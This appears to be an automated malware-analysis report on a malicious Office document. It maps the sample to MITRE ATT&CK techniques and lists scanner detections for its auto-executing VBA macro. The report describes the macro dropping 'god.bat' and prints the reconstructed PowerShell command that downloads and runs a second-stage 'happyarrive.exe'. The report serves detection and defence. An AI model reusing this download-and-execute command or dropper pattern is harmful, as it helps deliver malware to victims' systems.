MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059.003 Windows Command Shell
The Document_Open VBA macro is automatically executed upon opening the malicious document. It constructs a batch file named 'god.bat' in the public documents directory. This batch file is then written to contain commands to download and execute a second-stage payload named 'happyarrive.exe'. The script explicitly reconstructs the command line as 'powershell -w hi sleep -Se 31;Start-BitsTransfer -Source 45try -Dest C:\Users\Public\Documents\happyarrive.exe;C:\Users\Public\Documents\happyarrive.exe'.

Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main
